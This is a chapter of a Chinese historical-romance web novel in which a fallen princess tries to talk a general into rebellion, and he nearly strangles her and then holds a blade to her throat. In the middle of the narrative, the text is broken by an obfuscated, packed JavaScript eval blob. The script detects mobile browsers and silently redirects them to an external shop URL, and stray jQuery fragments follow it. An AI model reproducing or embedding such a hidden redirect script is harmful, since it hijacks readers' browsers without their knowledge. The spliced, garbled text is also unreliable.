朔天策垂眸,强捺心中翻涌的杀意,再抬眼时,那双惯于沙场染血的眼睛已经风平浪静,仿佛方才那一瞬间的戾气只是错觉。
他欠身道:“公主太抬举臣下了。臣下无所求。”
“当真无所求?”她凝视着他,似笑非笑。
赵九衡上下打量了他一番,那双眼睛似是早已看穿他的底细,她缓缓道:“将军,其实你跟韦二差不多。都是父亲眼中可有可无的儿子,不被看重,连这种趟路的活都让你来做。”
朔天策眼神骤变,并非愤怒,而是一种令人脊背发凉的审视,如同狼在观察从哪个角度咬断猎物的脖子。
“公主,离间之语,我劝你少说。”
“我说错了吗?”赵九衡歪着头看着他,似是根本不怕死,专拣戳心窝子的话说。
“韦老贼再怎么心狠,都没让韦二做先锋。进京夺权这种刀尖舔血的脏活,依旧是韦大来做的。”她仰起脸来看他,笑得意味深长。
“可将军你呢?陇西公遣你来京都为马前卒,自己却在陇西安坐后方,令兄朔明正更是坐享其成。大业若成,大好江山是陇西公的,储君之位是朔明正的。败了,不过就是一个血统存疑的庶子死在乱局之中,陇西恐怕都不会派人为将军收尸。”
朔天策一战成名的时候,她虽人在深宫,但也听过不少关于他的身世传言。
其生母乃陇西公的侧妃。因被发现与人私通,怀有身孕仍被主母逐出府门,流落荒野,无处栖身。最后只能在野地里分娩,结果难产而死。
按说本该一尸两命,胎儿会在母体中窒息而亡,可尸体上的血腥味引来了一群恶狼。狼群分噬了他母亲的尸首,却阴差阳错救了他,使其得以见天日。群狼也没有吃他,反而把他叼回巢穴喂养。是以他是被狼养大的,八岁时才被陇西公寻回。
一个血脉未明之子,陇西公如何会让他继承大统?只会把他当做弃子,用来蹚雷。
赵九衡之言,字字诛心,朔天策的脸色沉了下去,不动声色地按上腰间佩刀。
她瞥了一眼他的手,凑近一步,循循诱道:“将军,人不予之,我便取之。这世间向来以强为尊,切莫为他人白做嫁衣。”
“够了。”朔天策沉声喝断她。
赵九衡浅笑,知其心神已乱,她只需将那些猜忌埋的更深些。
“我本无心逐鹿,奈何已身在彀中。”她轻叹一声,似是为他惋惜。
“待大功告成,令兄继位,未必能容将军功高震主,拥兵自重,到时候将军恐怕会落得个兔死狗烹鸟尽弓藏的下场。九衡劝将军还是多为自己筹谋……莫效淮阴侯前车之鉴。”
赵九衡这番话说得颇为巧妙,既煽动他的野心又替他洗脱了兄弟阋墙的恶名,一切不过无奈之举。
“九衡以为,与其坐以待毙,不如先发制人。您手握重兵又威名远扬,何不弃了陇西,自立为王?这岂不比日后被随便封个王爷打发了强?”她拱手一礼,“九衡有心托乔木,愿助将军登基称帝。以将军的雄才伟略与九衡的天命加身,这天下……”
话音未落,朔天策猛地伸手,五指如铁钳般扼住她的脖颈,将她重重地掼到树上。
树干猛地一震,枯叶纷纷坠落。
“你把我当韦家父子戏耍。”他的声音冷如寒铁,显然耐心已经到了极限。
“咚……”赵九衡的后脑勺撞在粗糙的树皮上,疼得她眼前一阵发黑,脑中天旋地转,好半天才缓过来。
她揉了揉被撞得生疼的肩,抬眸时眼角已泛红,带着几分委屈道:“将军为何如此想九衡?九衡对将军并无恶意,我虽睚眦必报但也是非分明。”
“韦家父子于我有仇,此仇我必报,可朔家于我并无旧怨。将军进城军令严明,与民秋毫未犯。更何况将军还救了九衡,我虽一介女流但也懂知恩图报,九衡只是为将军担忧,想报答将军……”
“惺惺作态。”朔天策冷冷地打断她,拇指抵住她下颌,迫使她仰起脸来:“以为我是韦二?”
赵九衡虽被他扼住咽喉,却面无惧意,反而伸手搭上他掐着自己的那只手腕,转脸便笑意盈盈道:“将军妄自菲薄了。那鼠目寸光的韦二公子如何能与您这位朔二公子相提并论。”
他冷哼一声,对于她明奉承实揶揄的行为甚是反感,手指一寸寸收紧。
“咳……咳……”赵九衡咳出泪,窒息感让她本能地去掰他的手指,却撼动不了分毫,只得瞪着眼睛不满道:“你这人,当真是一点不懂得怜香惜玉。”
朔天策没松手,冷漠地垂眸看她如同看一只随时可以碾死的蝼蚁。
她回瞪他,犟着一张脸:“于我,将军你有两个选择。要么娶我顺天命,成天下业。”
“要么杀了我。”
“九衡不愿落入他人之手,委曲求全。与其受辱,还不如今日便死在将军手下。”
她语带哽咽,以死明志,摆出一副对朔天策非君不嫁的态度。她这样的美人,若得青睐,寻常男人已是奉为圭臬,更何况她作此情深意重的模样,怕是连心都恨不得掏出来给她。
可朔天策全然无动于衷,他冷笑一声,杀机骤现,手上猛地发力,掐住她的颈子将她提高半寸。“那臣便助公主一臂之力,全了你这忠烈之名。”
空气瞬间被截断,她的脸以肉眼可见的速度涨红,额角青筋暴起。赵九衡意识到他真的要杀了自己,搭在他腕上的手立刻改为拍打,另一只手也慌乱地去推他胸口,艰难地说:“开……玩笑的……还有……第三条路……”
他的手指纹丝不动。
就在赵九衡眼前一阵阵发黑,神思将散之际,他略一松劲,将她放低,脚尖堪堪着地。
喉间压迫未曾减轻半分,她满口皆是铁锈之气。
但好歹他愿意听她一言,赵九衡趁机喘了口气,哑着嗓子拼尽力气吐出一句破碎的话:
“将军,九衡……愿倾尽全力辅佐您。您……可以把我当刀使。”
朔天策冷哼一声:“我可不敢用你这把刀。”
赵九衡与他对视片刻,忽地探手拔出他腰间的佩刀。
朔天策并未制止,任她动作。
刀在她手中转了个圈,她低头望了眼那抹寒光,又抬眸看他,唇侧噙着冷笑:
“我以为,擅刀者不惧刀锋。”
朔天策凝视她良久,手中粉颈细的不堪一握,只消稍一用力就会断在他掌心。他在战场上拧断过无数人的脖子,可没有一个人死前是她这般,呼吸都断断续续了,还在挑衅他。这公主当真不知“死”字是怎么写的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512567|203057||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
这等胆识倒是很多男儿都比不上。
不过这赵九衡虽巧言令色,但那些话却是没错的。他在陇西地位尴尬,朔明正也并非有容人雅量的君子,就算他无意争权,但树欲静而风不止,的确得为自己和朔怀渊多留些退路。
思及此处,他伸手把刀从她手里抽了回来,另一只手猝然松开。赵九衡跌落在地,委顿于枯叶之中,剧咳不已,目中呛出泪花。
朔天策居高临下地俯视着她,刀锋一转,抵在她颈侧。“我凭什么信你?”
赵九衡双手撑在地上,急喘数口,待气息稍匀,她抬眸直视他的眼睛,逐字逐句道:
“您无需信我,只需用我。”
朔天策戏谑道:“公主殿下金枝玉叶,下臣岂敢驱策。”
“亡国公主算什么金枝玉叶?”她自嘲也说得光明磊落,不以为意地抬手将散落的鬓发别至耳后,“落难凤凰不如鸡罢了。将军又何必取笑我。”
她如此坦荡,倒让他有些不知如何接话。朔天策敛了笑意,手中刀锋依旧抵在她颈侧。
“为何选我?”
赵九衡垂眸,纤指轻轻掠去眼角的泪,再抬眸时已是一副楚楚之态:“我一介弱质女流,在这乱世之中身如浮萍,如何能安身立命?所谓良禽择木而栖,我既是凤,自然非梧桐不栖。将军,你是我看中的人。”
“将军少年英才,未及弱冠便立下战功赫赫,放眼天下,怕是也难找出匹敌之人。”她微微侧过脸去,声音里带着恰到好处的羞怯,“更何况……将军既对我有救命之恩,还生得如此英武不凡。九衡……自然心向往之。”
危难之中,爱上救命恩人的确合情合理,但从赵九衡口中说出,他却是一个字儿都不信。
“公主若再不说实话……”朔天策面色不改,刀锋往前送了半寸,在她颈侧压出一道血痕。“下臣只能送您下去跟先帝团聚了。”
权色他皆不为所动,威逼利诱亦是白费功夫,当真是油盐不进。赵九衡暗叹棘手,知道再装下去只会惹恼了他。
她敛了娇态,直视他的眼睛道:“因为我想活,我想有尊严地活。这天下能保住我的人不多。我赵氏满门皆殁,我已无人可依。这些人争夺我,要么是为了我的命格,要么是要我委身于人,我根本没有选择的余地。”
她看着他,将利害一一摊开来说:“可将军不同。您是陇西公的儿子,又是手握重兵的将军,有兵有权。最重要的是,将军对我没有兴趣,不会逼我以色侍人。只要将军愿意保我,旁人动我之前,首先得掂量掂量自己的斤两。”
“天下自有比我更合适之人,譬如我那位大哥朔明正,论权势,他更胜于我。而且,”朔天策盯着她,目光幽深。“他可素有仁德之名。公主为何独独选我?”
她并未直接回答他的问题,只是反问了一句:“我若选别人,你会让我活过今夜吗?”
“不会。”
赵九衡是一把随时会弑主的利刃,他不见得用,但也不能将刀柄递给别人。
“虽然早就料到了,”赵九衡轻叹一口气,“但还真是叫人难过啊。”
“不过,”朔天策收起刀锋,居高临下地审视着她,“我以为公主殿下大义凛然。敢以身殉国的人,竟也会贪生怕死?”